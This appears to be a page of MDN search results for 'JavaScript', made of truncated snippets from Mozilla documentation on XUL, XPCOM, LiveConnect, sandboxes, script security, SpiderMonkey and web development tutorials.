core) functionality for the module. Base contains all the source code that cannot be categorized into a submodule. build contains any special makefiles for building the particular module. doc contains any documentation associated with this module. idl contains the XPIDL (Cross Platform Interface Definition Language) interface files. Interfaces are used so functionality can be available to both
Javascript scripts and C code with as little effort as possible. XPIDL files have their own mini-language and processing tools. public contains source code that will be exported to the dist/include directory. They are not all necessarily public in the general sense; some are only meant for internal use in a certain module. As more code is written with or converted to XPIDL interfaces, the value of the publ...
...s code originated at UC Berkeley. directory contains the LDAP SDK. docshell contains C interfaces and code for loading and displaying a single web page (e.g. scroll). The [#seamonkey-embedding embedding] code wraps this code with higher level browser functions like forward, back and history. dom contains C interfaces and code for implementing and tracking DOM (Document Object Model) objects in
Javascript. It forms the C substructure which creates, destroys and manipulates built-in and user-defined objects according to the
Javascript script. For example, if the
Javascript script adds a user-defined attribute to the document (e.g. document.goofy = 1), this code will create the "goofy" node, put it on the "document" node and manipulate it according to any later
Javascript commands. editor contains ...
...dow with editing features" with extra classes for editing text and managing undo/redo. embedding contains C interfaces and code for generic high-level browser functions (e.g. forward, back, history). The [#seamonkey-webshell webshell] code wraps these interfaces according to the particular platform and way (e.g. ActiveX) that is being supported. extensions contains C interfaces, C code, XUL and
Javascript code for various add-ins that are related to browsing. These include: cookies, IRC, wallet, DOM Inspector, P3P, schema validation, spellchecker, transformiix, typeaheadfind,
JavaScript debugger, XForms, etc. gfx contains C interfaces and code for platform independent drawing and imaging. It can be used to draw rectangles, lines, images, etc. Essentially, it is a a set of interfaces for a platfor...
...And 3 more matches
The Joy of XUL - Archive of obsolete content
sults in their DHTML web applications but at the cost of complexity and performance and without any supporting standards. Based on existing standards XUL is an XML language based on W3C standard XML 1.0. Applications written in XUL are based on additional W3C standard technologies featuring HTML 4.0; Cascading Style Sheets (CSS) 1 and 2; Document Object Model (DOM) Levels 1 and 2;
JavaScript 1.5, including ECMA-262 Edition 3 (ECMAscript); XML 1.0. Platform portability Like HTML, XUL is designed to be platform-neutral, making applications easily portable to all of the operating systems on which Mozilla runs. Considering the broad range of platforms that currently support Mozilla, this may be one of the most compelling features of XUL as a technology for building applicatio...
...nfalls of most web applications is the tight coupling of user interface elements with client application logic. This poses a significant problem in team environments because the skills required to develop these two parts are often satisfied by different people. XUL provides a clear separation among the client application definition and programmatic logic ("content" consisting of XUL, XBL, and
JavaScript), presentation ("skin" consisting of CSS and images), and language-specific text labels ("locale" consisting of DTDs and string bundles in .properties files). The layout and appearance of XUL applications can be altered independently of the application definition and logic. Further, the application can be localized for different languages and regions independently of its logic or presentation. ...
...minating the original open source code with proprietary alterations. XPCOM/XPConnect XPCOM and XPConnect are complementary technologies that enable the integration of external libraries with XUL applications. XPCOM, which stands for Cross Platform Component Object Model, is a framework for writing cross-platform, modular software. XPCOM components can be written in C, C++, and
JavaScript, and they can be used from C, C++,
JavaScript, Python, Java, and Perl. XPConnect is a technology which enables simple interoperation between XPCOM and
JavaScript. XPConnect allows
JavaScript objects to transparently access and manipulate XPCOM objects. It also enables
JavaScript objects to present XPCOM compliant interfaces to be called by XPCOM objects. Together, XPCOM and XPConnect en...
...And 3 more matches
Archived Mozilla and build documentation - Archive of obsolete content
e as a way of manipulating a set of DOM nodes corresonding to a visual representation of calIEvent and calITodo objects. Because of this close association between methods and attributes on the one hand, and content on the other, calICalendarView implementations are particularly well suited to XBL. There is, however, no practical obstacle to the interface being implemented by any
javascript object associated with a group of DOM nodes, even non-anonymous XUL nodes. calICalendarViewController A calICalendarViewController provides a way for a calICalendarView to create, modify, and delete items. Implementing a calICalendarViewController allows for these actions to be performed in a manner consistent with the rest of the application in which t...
...ch allows Java code to interact with XPCOM objects. As you will see in this article, working with XPCOM objects in Java is not that much different than doing so in C++. Error Console The Error Console is a tool available in most Mozilla-based applications that is used for reporting errors in the application chrome and in web pages user opens. It reports
JavaScript-related errors and warnings, CSS errors and arbitrary messages from chrome code. In Firefox, the Error Console can be opened from the tools menu or by Ctrl-Shift-J. Exception logging in
JavaScript Technical review completed. Existing Content This is a list of existing mozilla.org documentation. It needs to be checked, prioritized, and mi...
...io> and <video> media elements by exposing audio metadata and raw audio data. This enables users to visualize audio data, to process this audio data and to create new audio data. Java in Firefox Extensions If you are in need of calling Java code from within a Firefox extension, you can make use of LiveConnect. ...
...And 3 more matches
LiveConnect - Archive of obsolete content
LiveConnect provides
JavaScript with the ability to call methods of Java classes and vice-versa using the existing Java infrastructure. Older versions of Gecko included special support for the Java<->
JavaScript bridge (such as the java and Packages global objects), but as of Mozilla 16 (Firefox 16 / Thunderbird 16 / SeaMonkey 2.13) LiveConnect functionality is provided solely by the Oracle's Java plugin. Documentation Java plugin - LiveConnect documentation This is likely the most up-to-date documentation of LiveConnect. Removal of java and Packages global objects in Mozilla 16 See bug 748343 for the rationale and workarounds. You can still embed Java applets and access their API from
JavaScript. LiveConnect Overview An overview for Livec...
...eir API from
JavaScript. LiveConnect Overview An overview for Liveconnect. LiveConnect reference The Java classes used for LiveConnect, along with their constructors and methods. Java in Firefox extensions Community View mozilla.dev.tech.java forums... Mailing list Newsgroup RSS feed Related Topics
JavaScript, Plugins Older notes (Please update or remove as needed.) While the bloated LiveConnect code in the Mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former API has been restored (see also the specification and this thread) (building on NPAPI?), and as of Java 6 update 12, extensions as well as applets can make use of this restored API. The reimpl...
...d.) While the bloated LiveConnect code in the Mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former API has been restored (see also the specification and this thread) (building on NPAPI?), and as of Java 6 update 12, extensions as well as applets can make use of this restored API. The reimplementation also restores the ability to use try-catch exceptions within
JavaScript, and is free of the increasing number of other bugs introduced by the decline of the original LiveConnect (e.g., java.lang.String and arrays not working properly). LiveConnect use by applets is enabled via the use of the "MAYSCRIPT" attribute in applet tags on an HTML page, following which the applet may refer to classes in the netscape.
javascript package to access
Javascript objects, and script...
...And 3 more matches
Packages - Archive of obsolete content
Obsolete since Gecko 16.0 (Firefox 16.0 / Thunderbird 16.0 / SeaMonkey 2.13)This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Summary A top-level object used to access Java classes from within
JavaScript code. The support for this object was removed in Gecko 16, see LiveConnect for details. Created by The Packages object is a top-level, predefined
JavaScript object. You can automatically access it without using a constructor or calling a method. Description The Packages object lets you access the public methods and fields of an arbitrary Java class from within
JavaScript. The java, netscape, and sun properties represent the packages java.*, netscape.*, and sun.* respectively. Us...
...and fields of an arbitrary Java class from within
JavaScript. The java, netscape, and sun properties represent the packages java.*, netscape.*, and sun.* respectively. Use standard Java dot notation to access the classes, methods, and fields in these packages. For example, you can access a constructor of the Frame class as follows: var theFrame = new Packages.java.awt.Frame(); For convenience,
JavaScript provides the top-level netscape, sun, and java objects that are synonyms for the Packages properties with the same names. Consequently, you can access Java classes in these packages without the Packages keyword, as follows: var theFrame = new java.awt.Frame(); The className property represents the fully qualified path name of any other Java class that is available to
JavaScript. You must use t...
...follows: var theFrame = new java.awt.Frame(); The className property represents the fully qualified path name of any other Java class that is available to
JavaScript. You must use the Packages object to access classes outside the netscape, sun, and java packages. Properties className: The fully qualified name of a Java class in a package other than netscape, java, or sun that is available to
JavaScript. java: Any class in the Java package java.*. netscape: Any class in the Java package netscape.*. sun: Any class in the Java package sun.*. ...
...And 3 more matches
Create the Canvas and draw on it - Game development
The <canvas> element has an id of myCanvas to allow us to easily grab a reference to it, and it is 480 pixels wide and 320 ...
... canvas { background: #eee; display: block; margin: 0 auto; } </style> </head> <body> <canvas id="myCanvas" width="480" height="320"></canvas> <script> //
JavaScript code goes here </script> </body> </html> We have a charset defined, <title> and some basic CSS in the header. The body contains <canvas> and <script> elements -- we will render the game inside the first one and write the
JavaScript code that controls it in the second one. The <canvas> element has an id of myCanvas to allow us to easily grab a reference to it, and it is 480 pixels wide and 320 pixels high. All the
JavaScript code we will write in this tutorial will go between the opening <script> and closing </script> tags. Canvas basics To actually be able to render graphics on the <canvas> element, first we have to grab ...
...Add the following below your opening <script> tag. var canvas = document.getElementById("myCanvas"); var ctx = canvas.getContext("2d"); Here we're storing a reference to the <canvas> element to the canvas variable. ...
...And 3 more matches
What are browser developer tools? - Learn web development
This article explains how to use the basic functions of your browser's devtools. Note: Before you run through the examples below, open the Beginner's example site that we built during the Getting started with the Web article series. You should have this open as you follow the steps below. ...
...you are inspecting uses CSS Grid, this section allows you to view the grid details. Fonts: In Firefox, the Fonts tab shows the fonts applied to the current element. Find out more Find more out about the Inspector in different browsers: Firefox Page inspector IE DOM Explorer Chrome DOM inspector (Opera's inspector works the same as this) Safari DOM inspector and style explorer The
JavaScript debugger The
JavaScript debugger allows you to watch the value of variables and set breakpoints, places in your code that you want to pause execution and identify the problems that prevent your code from executing properly. To get to the debugger: Firefox: Select ? Web Developer ? Debugger or press Ctrl + Shift + S to open the
JavaScript Debugger. If the tools are already displayed, click o...
...ools are already displayed, click on the Debugger tab. Chrome: Open the Developer tools and then select the Sources tab. (Opera works the same way.) Edge and Internet Explorer 11: Press F12 and then, Ctrl + 3, or if the tools are already displayed, click on the Debugger tab. Safari: Open the Developer Tools and then select the Debugger tab. Exploring the debugger There are three panes in the
JavaScript Debugger on Firefox. File list The first pane on the left contains the list of files associated with the page you are debugging. Select the file you want to work with from this list. Click on a file to select it and view its contents in the center pane of the Debugger. Source code Set breakpoints where you want to pause execution. In the following image, the highlight on the number 18 shows...
...And 3 more matches
Advanced form styling - Learn web development
="text"], input[type="datetime-local"], input[type="color"], select { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } label { margin-bottom: 5px; } button { width: 60%; margin: 0 auto; } Note: If you want to test these examples across a number of browsers simultaneously, you can find it live here (also see here for the source code). Also bear in mind that we've added some
JavaScript to the page that lists the files selected by the file picker, below the control itself. This is a simplified version of the example found on the <input type="file"> reference page. As you can see, we've done fairly well at getting these to look uniform across modern browsers. We've applied some global normalizing CSS to all the controls and their labels, to get them to size in the same way, ad...
...akes things worse, not better. It is easier to just create your own custom solution for these features, if you want to be able to control the styling, or use a third party solution such as progressbar.js. The road to nicer forms: useful libraries and polyfills As we've mentioned above a few times, if you want to gain full control over the "ugly" control types, you have no choice but to rely on
JavaScript. ...
...You can use some of the built in themes, or create your own. ...
...And 3 more matches
Front-end web developer - Learn web development
you go along. Each section includes exercises and assessments to test your understanding before you move forward. Subjects covered The subjects covered are: Basic setup and learning how to learn Web standards and best practices (such as accessibility and cross-browser compatibility) HTML, the language that gives web content structure and meaning CSS, the language used to style web pages
JavaScript, the scripting language used to create dynamic functionality on the web Tooling that is used to facilitate modern client-side web development. You can work through sections in order, but each one is also self-contained. For example, if you already know HTML, you can skip ahead to the CSS section. Prerequisites You don't need any previous knowledge to start this course. All you need is a comp...
...are designed to test your knowledge of the subject matter. Completing the assessments confirms that you are ready to move on to the next module. Modules CSS first steps (10-15 hour read/exercises) CSS building blocks (35-45 hour read/exercises) Styling text (15-20 hour read/exercises) CSS layout (30-40 hour read/exercises) Additional resources CSS layout cookbook Interactivity with
JavaScript Time to complete: 135-185 hours Prerequisites It is recommended that you have basic HTML knowledge before starting to learn
JavaScript. You should at least study Introduction to HTML first. How will I know I'm ready to move on? The assessments in each module are designed to test your knowledge of the subject matter. Completing the assessments confirms that you are ready to move on to the ne...
...-185 hours Prerequisites It is recommended that you have basic HTML knowledge before starting to learn
JavaScript. You should at least study Introduction to HTML first. How will I know I'm ready to move on? The assessments in each module are designed to test your knowledge of the subject matter. Completing the assessments confirms that you are ready to move on to the next module. Modules
JavaScript first steps (30-40 hour read/exercises)
JavaScript building blocks (25-35 hour read/exercises) Introducing
JavaScript objects (25-35 hour read/exercises) Client-side web APIs (30-40 hour read/exercises) Asynchronous
JavaScript (25-35 hour read/exercises) Web forms -- Working with user data Time to complete: 40-50 hours Prerequisites Forms require HTML, CSS, and
JavaScript knowledge. Give...
...And 3 more matches
Routing in Ember - Learn web development
Objective: To learn about implementing routing in Ember. ...
... Objective: To learn about implementing routing in Ember. ...
...about routing, or URL-based filtering as it is sometimes referred to. We'll use it to provide a unique URL for each of the three todo views -- "All", "Active", and "Completed". Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. A deeper understanding of modern
JavaScript features (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. Objective: To learn about implementing routing in Ember. URL-based filtering Ember comes with a routing system that has a tight integration with the browser URL. Typically, when writing web applications, you want the page to be represented by the URL so that if (for an...
...And 3 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next We now have sample data in place, and a loop that takes each bit of data and renders it inside a ToDoItem in our app. What we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. This is what we'll cover in this article. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. ...
...eed a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. This is what we'll cover in this article. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Vue components are written as a combination of
JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. Objective: To learn about handling forms in Vue, and by association, events, models, and methods. ...
...t"> When you run this, the app still posts the data to the server, causing a refresh. Since we're doing all of our processing on the client, there's no server to handle the postback. We also lose all local state on page refresh. To prevent the browser from posting to the server, we need to stop the event's default action from bubbling up through the page (Event.preventDefault(), in vanilla
JavaScript). Vue has a special syntax called event modifiers that can handle this for us right in our template. Modifiers are appended to the end of an event with a dot like so: @event.modifier. Here is a list of event modifiers: .stop: Stops the event from propagating. Equivalent to Event.stopPropagation() in regular
JavaScript events. .prevent: Prevents the event's default behavior. Equivalen...
...And 3 more matches
Gecko info for Windows accessibility vendors
seriously need to understand MSAA, you'll need to read the docs on MSDN and play with the sample apps and code that come with MSAA SDK 1.3. (I recommend SDK 1.3 because the MSAA SDK 2.0 doesn't come with the source code to the testing tools. The other differences are not important). DOM: Document Object Model This is the W3C's specification for how web content is exposed to
Javascript and other languages. It covers content, style and events. Inside the Gecko process, code has full access to DOM APIs. However, exposing the entire DOM to external software packages is quite involved, partially because changes to the DOM in Firefox must occur on the main thread. We have chosen a subset of readonly methods in the DOM needed for assistive technology vendors. Events such as focus cha...
...occur on the main thread. We have chosen a subset of readonly methods in the DOM needed for assistive technology vendors. Events such as focus changes must be tracked through MSAA events, rather than DOM events. XUL: eXtensible User-interface Language The XML-based language used by Firefox and Mozilla to develop the UI. Similar to HTML in that it can be combined with CSS and
Javascript to make powerful applications. Contains more desktop-style widgets than HTML and follows a box layout model, rather than being text-flow based. AJAX: Asynchronous
JavaScript And XML AJAX is a method of building interactive web applications that process user requests, user actions immediately in real time, unlike an HTTP request, during which users must wait for a whole page ...
... Anything that is focusable or conveys important information about the structure of the document is exposed in the MSAA tree of IAccessibles. Windows Applications Based on the Gecko Layout Engine Gecko is a rendering engine that Mozilla, Netscape and other new browsers use. Gecko can render a variety of content, not just HTML and supports key web standards such as Cascading Style Sheets,
Javascript and the W3C DOM. Gecko also handles the users keystrokes and mouse clicks. Gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it. Embedded Clients (support MSAA) Embedded clients use Gecko only in the content window, at the moment for HTML and generic XML only. They typically use standard Windo...
...And 3 more matches
A bird's-eye view of the Mozilla framework
with the directory structure of the source tree. The code samples in the article are based on Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051104 SeaMonkey/1.1a from a new source tree checked out 11/04/05. The build ID is 2005110409. TheHelp Viewer files referenced in the article are located in /seamonkey/extensions/help/ This article also assumes you are familiar with the
JavaScript and C++ programming languages, object-oriented programming (OOP) terminology and design concepts, the Microsoft(R) Component Object Model (COM), and the CORBA OMG Interface Definition Language (IDL). Organization This article first covers some conceptual groundwork, then walks through a user scenario to illustrate how key Mozilla architectural components work together to support a simpleHelp Vi...
...kit implementations provide a set of widgets for UI controls such as menus, command buttons, dialog boxes and scroll bars. The Mozilla XPToolkit module provides a similar set of facilities for building cross-platform UI controls implemented as XML User Interface Language (XUL) packages. A XUL package consists of a XUL description of the UI widget Cascading Style Sheets customizing appearance
JavaScript services implementing the UI behavior A package (also known as chrome) is really just a bundling of a set of UI widgets and associated services implementing a particular application feature. Chrome and Extensions are examples of packages. Content (DOM) The Mozilla Document Object Model (DOM) specifies a logical tree structure for storing UI and document content, and provides an API (Applicati...
...plementation of the provider object in order to take advantage of its services. The client simply queries the provider for a particular service, and if available, accesses that service through an interface defined in XPIDL (Cross-Platform IDL), derived from the CORBA IDL. The XPIDL interface description is independent of the programming language used to implement the object itself. For example, a
JavaScript object or C++ class could both implement the same XPIDL interface. Scripting languages such as
JavaScript cannot directly access XPCOM components, but access them indirectly using XPConnect. XPConnect also provides a required layer for XPCOM components written in a scripting language. Let's consider a Resource Description Framework (RDF) example, where RDF is a framework for describing and inte...
...And 3 more matches
Script security
This page provides an overview of the script security architecture in Gecko. Like any web browser, Gecko can load
JavaScript from untrusted and potentially hostile web pages and run it on the user's computer. The security model for web content is based on the same-origin policy, in which code gets full access to objects from its origin but highly restricted access to objects from a different origin. The rules for determining whether an object is same-origin with another, and what access is allowed cross-origin, are now mostly standardized across browsers. Gecko has an additional problem, though: while its core is written in C++, the front-end code is written in
JavaScript. This
JavaScript code, which is commonly referred to as chrome code, runs with system privileges. If the code is comp...
... across browsers. Gecko has an additional problem, though: while its core is written in C++, the front-end code is written in
JavaScript. This
JavaScript code, which is commonly referred to as chrome code, runs with system privileges. If the code is compromised, the attacker can take over the user's computer. Legacy SDK extensions also run with chrome privileges. Having the browser front end in
JavaScript has benefits: it can be much quicker to develop in
JavaScript than in C++, and contributors do not need to learn C++. However,
JavaScript is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web content. From the point of view of chrome code, the script security model in Gecko is intended to provide that help...
... Security policy Gecko implements the following security policy: Objects that are same-origin are able to access each other freely. For example, the objects associated with a document served from https://example.org/ can access each other, and they can also access objects served from https://example.org/foo. ...
...And 3 more matches
MathML Demo: <mspace> - space
s has been set to yellow for easier viewing. You can set the width ? x y height ? x y and depth [ x y ] of mspace elements (click the math text to view the numeric values that are set). Interactive Sizing HTML Content <p> Use the control buttons below to adjust the parameters of the <code>mspace</code> element and see the effects. ...
... height ? x y and depth [ x y ] of mspace elements (click the math text to view the numeric values that are set). Interactive Sizing HTML Content <p> Use the control buttons below to adjust the parameters of the <code>mspace</code> element and see the effects. ...
...to view the numeric values that are set). Interactive Sizing HTML Content <p> Use the control buttons below to adjust the parameters of the <code>mspace</code> element and see the effects. ...
...And 3 more matches
Profiling with the Firefox Profiler
an click on timeline elements (the selected element gets darker when selected) and the tree view (see below) reflects the selected element. 2. Call Tree The Call Tree shows the samples organized by 'Running Time' which will show the data by wall clock time. There are lighter grey names to the right of tree elements that indicate where the code comes from. Be aware that elements can be from
JavaScript, Gecko, or system libraries. Note that if some functions are not yet named properly, symbolication may not yet be finished. Tip: You can right-click on a function name to get an option to copy its name to the clipboard. A significant portion of time can be spent in idle, blocking calls like waiting for events. This is ideal for a responsive application to be ready to service incoming events. ...
...ice that the 'Running time' decreases. This happens when a function has 2 or more non-trivial calls: the running time will be split between its children. Tip: Focus on one section of the tree by clicking on the "arrow-in-a-circle" icon that appears to the right of the tree element as you hover over it. A "tree breadcrumb" will appear similar to the range breadcrumbs noted above. Clicking the "
JavaScript only" option will only show
JavaScript code in the Call Tree. You could compare the time with this option checked and the total time to get an idea of how much time was spent running JS. Note that long-running JS function execution may not actually be taking as long as you think because further down the call stack there may be something like painting happening. Clicking the "Invert call stack" o...
...file a bug. 3. Sharing the profile Click "Publish...", some of the data may be excluded, click "Publish". If you select a different time range, the URL revealed by pressing "Permalink" will change so that you can be sure the recipient of the URL will see the same things you are seeing. Tips Understanding profiles can be difficult. If you're unfamiliar with Gecko's internals, you can click the
JavaScript only button to see where your
JavaScript code is slow. Each entry in the Call Tree shows a call stack and how much time is spent in that call stack. For example:In the results above we can see that we're spending ~287 milliseconds in Startup::XRE_InitChildProcess, 194 ms of which are spent in PVsync::Msg_Notify and all child functions that it calls. It is useful to scan down the "Running Time" co...
...And 3 more matches
SpiderMonkey 24
These release notes are an incomplete draft and were initially seeded from the SpiderMonkey 17 release notes, so they're not necessarily complete or fully accurate. The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 24. You can download full source code here: https://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2 (SHA1: ce779081cc11bd0c871c6f303fc4a0091cf4fe66) SpiderMonkey 24 is the
JavaScript engine that shipped in Firefox 24. It continues to improve performance over previous SpiderMonkey releases, with a significantly improved garbage collector, a new JIT compilation mode, and other features. It also contains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.
...ance over previous SpiderMonkey releases, with a significantly improved garbage collector, a new JIT compilation mode, and other features. It also contains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. Or file bugs at bugzilla.mozilla.org under Product: Core, Component:
JavaScript engine. -- Dec 16, 2013 The download url still available, but SpiderMonkey not RELEASE alone! Get it here mozilla-esr24 if the download url is outdate You will find it in "Firefox Extended Support Release 24" package on hg release Platform support SpiderMonkey 24 is supported on all the platforms where Firefox 24 runs. Compiling it requires a C++ compiler, and the JSAPI can only be used ...
... can only be used from C++ code. (This change was motivated by garbage collector improvements, which lean quite heavily on C++'s support for RAII through constructors and destructors.) If you are compiling with Microsoft's Visual Studio, note that the minimum supported version is MSVC10/2010: MSVC8/9 support has been dropped. SpiderMonkey 24 includes a just-in-time compiler (JIT) that compiles
JavaScript to machine code, for a significant speed increase. It is supported on x86, x86_64, and ARM architectures. On some other platforms (SPARC, MIPS), the JIT is provided but not supported. On all other platforms the JIT is simply disabled;
JavaScript code runs in an interpreter, as in previous versions. It's the same language, just not as fast. Migrating to SpiderMonkey 24 SpiderMonkey now provides...
...And 3 more matches
Mozilla Projects
compare-locales compare-locales is a Python script that helps localizers to check their work without running Firefox or another application. Crash reporting Firefox ships with an open-source crash reporting system. This system is combination of projects: Emscripten Emscripten is an LLVM to
JavaScript compiler. It takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into
JavaScript, which can be run on the Web. Firefox Sync Firefox Sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your devices. JSHydra ...
... L20n L20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic. Leak Monitor Leak Monitor is a Firefox extension by L. David Baron that helps extension and chrome developers to find memory leaks. ...
.... L20n L20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic. Leak Monitor Leak Monitor is a Firefox extension by L. David Baron that helps extension and chrome developers to find memory leaks. It will pop-up an alert when a window is closed and
JavaScript still links to that window (for example, an observer that is not cleared when the window closes). MailNews MailNews stands for "Mail and Newsgroups". MailNews is the back end of the messaging parts of SeaMonkey and Thunderbird. It provides a number of functions and capabilities, including: McCoy ...
...And 3 more matches
Packaging WebLock
ribution and installation. Note: the emphasis of this tutorial is on the component development itself, so this section on packaging and installing extensions to Gecko is necessarily brief. For more detailed information on packaging and installation of components into Gecko-based applications, see http://www.mozilla.org/projects/xpinstall. Component Installation Overview XPInstall is a set of
JavaScript APIs for creating installation scripts. Using XPInstall, you can create web-based installations for Gecko-based applications, Mozilla extensions, or individual components. The installation script for the WebLock component can also be used to register the component with the browser into which it is installed (see Registration Methods in XPCOM for more information on registration). The sample inst...
...s, or individual components. The installation script for the WebLock component can also be used to register the component with the browser into which it is installed (see Registration Methods in XPCOM for more information on registration). The sample installation script shown below uses the Mozilla XPInstall technology to manipulate an installer and talk to Mozilla'schrome registry as high-level
JavaScript objects. What Is the Chrome Registry? Like the Windows registry, the chrome registry is a database of information about applications, skins, and other extensions that have been installed in a Gecko application. Since Mozilla and other Gecko-based applications are cross-platform, this database is abstracted above the operating system or any particular platform's registry. The chrome registry l...
...er Gecko-based applications are cross-platform, this database is abstracted above the operating system or any particular platform's registry. The chrome registry lives in a series of RDF/XML files in the application directory of Mozilla and other Gecko-based browsers, where new installs, user configurable data, skins, and other information are related to one another and the application itself.
JavaScript APIs from the XPInstall Install object download the JAR in which the installable files appear and call registration methods that tell Mozilla about the new component and the UI it uses to access the WebLock component. WebLock Installation Script is the completetrigger installation script, which can be launched from a web page. The files themselves are stored in the JAR file weblock.jar, which is ...
...And 3 more matches
How to build a binary XPCOM component using Visual Studio
For more information on the workings of XPCOM look elsewhere. Development Setup The simplest way to get an XPCOM component built is to use the Gecko SDK. ...
...For more information on the workings of XPCOM look elsewhere. Development Setup The simplest way to get an XPCOM component built is to use the Gecko SDK. ...
...For more information on the workings of XPCOM look elsewhere. Development Setup The simplest way to get an XPCOM component built is to use the Gecko SDK. ...
...And 3 more matches
Components.utils.Sandbox
Components.utils.Sandbox is used to create a sandbox object for use with evalInSandbox(). Creating a sandbox To create a new sandbox, call Components.utils.Sandbox: var sandbox = Components.utils.Sandbox(principal[, options]); Using new Components.utils.Sandbox(...) to create a sandbox has the same effect as calling Sandbox(...) without new. The created sandbox is simply an empty
JavaScript object marked as having been created by the restricted privilege principal. You can then use it with evalInSandbox() to make it the global scope object for the specified script. principal The security principal defined for a sandbox determines what code running in that sandbox will be allowed to do. The principal may be one of four types: the system principal, a content principal, an expanded principal, o...
...t. options The constructor accepts an optional parameter. This parameter is an object with the following optional properties: freshZone If true creates a new GC region separate from both the calling context's and the sandbox prototype's region. Addons creating sandboxes whose expected lifetime is tied to that of a content window object will want to use sameZoneAs instead. sameZoneAs A
JavaScript object in whose garbage collection region the sandbox should be created in. This helps to improve memory usage by allowing sandboxes to be discarded when that zone goes away. Content scripts should pass the window they're running in as this parameter, in order to ensure that the script is cleaned up at the same time as the content itself. sandboxName A string value which identifies the sandb...
...en that zone goes away. Content scripts should pass the window they're running in as this parameter, in order to ensure that the script is cleaned up at the same time as the content itself. sandboxName A string value which identifies the sandbox in about:memory (and possibly other places in the future). This property is optional, but very useful for tracking memory usage of add-ons and other
JavaScript compartments. A recommended value for this property is an absolute path to the script responsible for creating the sandbox. As of Gecko 13 (Firefox 13.0 / Thunderbird 13.0 / SeaMonkey 2.10), if you don't specify a sandbox name it will default to the caller's filename. sandboxPrototype A prototype object for the sandbox. The sandbox will inherit the contents of this object if it's provided. ...
...And 3 more matches
Components.utils
Components.utils is a collection of various useful XPConnect features. Its interface is defined at js/xpconnect/idl/xpccomponents.idl. The object currently has the following members: EDITORS! please keep this list in sync with the Components object page Methods Method Description cloneInto() Create a structured clone of an object in a different
JavaScript context. createArrayIn() Removed in Gecko 31 Returns an array created in specified compartment. createObjectIn() Creates a new object, created in the scope of the specified object's compartment. dispatch() Dispatches a runnable to the current/main thread. If the parameter is passed, the runnable will be dispatch in the compartment of the parameter, w...
...created in specified compartment. createObjectIn() Creates a new object, created in the scope of the specified object's compartment. dispatch() Dispatches a runnable to the current/main thread. If the parameter is passed, the runnable will be dispatch in the compartment of the parameter, which affects which error reporter gets called. evalInSandbox() Runs
JavaScript code in a sandbox, usually used to run code with restricted privileges. evalInWindow() Removed in Gecko 34. Evaluate
JavaScript code in a less-privileged
JavaScript context. exportFunction() Export a
JavaScript function from a more-privileged to a less-privileged scope, allowing it to be called in the less-privileged scope. forceGC() ...
...wn Components object (whereas it's normally hidden away on a scope chain visible only to XBL methods). See also SpecialPowers.getComponents. getGlobalForObject() Returns the global object with which a given object is associated (through its prototype chain at birth, for example). getJSTestingFunctions() getObjectPrincipal() Gets the nsIPrincipal for the given
JavaScript object. getWeakReference() Gets a weak reference for the object passed in. import() Loads a JS module into the current script, without sharing a scope. importGlobalProperties() Specify a list of constructors to import into the scope. isXrayWrapper() Test whether a given object is an Xray or not. unload() Unloads a JS module loaded w...
...And 3 more matches
Components object
y intended for code running with chrome privileges. Exposing the object to regular web code was a mistake. If you use this object on your web page, your site might break at any time! In current versions of Firefox only a few interfaces required for compatibility are still accessible. Don't use Components! The Components object is the object through which XPConnect functionality is reflected into
JavaScript. The Components object is actually a native instance of the nsIXPCComponents interface which is reflected into
JavaScript as a top level object using XPConnect. Some properties of Components require advanced privileges and may not work in web pages. The Components object has the following members: classes array of classes by ContractID classesByID array of classes by CID Cons...
...nterfaces by interface name interfacesByID array of interfaces by IID isSuccessCode function to determine if a given result code is a success code lastResult result code of most recent XPConnect call manager the global XPCOM component manager results array of known result codes by name returnCode pending result for current call stack current
JavaScript call stack utils provides access to several useful features utils.atline Provides access to the value of the atline property in the
JavaScript environment. utils.createObjectIn Creates a new object in the scope of the specified object's compartment. May only be called from
JavaScript code. utils.evalInSandbox Runs
JavaScript code ...
...y used to run code with restricted privileges. utils.forceGC Forces a garbage collection cycle. utils.getGlobalForObject Returns the global object with which a given object is associated (through its prototype chain at birth, for example). utils.getWeakReference Gets a weak reference for the object passed in. utils.import Loads a
JavaScript module into the current script, without sharing a scope. utils.lookupMethod Looks up a native (i.e. declared in the interface) method or property of an XPCOM object. Serves the same purpose as XPCNativeWrapper. utils.makeObjectPropsNormal Ensures that all functions come from the specified object's scope, and aren't cross-compartment wrappers. May only be called fr...
...And 3 more matches
XPCOM
Interfaces in XPCOM are defined in a dialect of IDL called XPIDL. XPCOM itself provides a set of core components and classes, e.g. file and memory management, threads, basic data structures (strings, arrays, variants), etc. The majority of XPCOM components are not part of this core set and are provided by other parts of the platform (e.g. Gecko or Necko) or by an application or even by an extension. ...
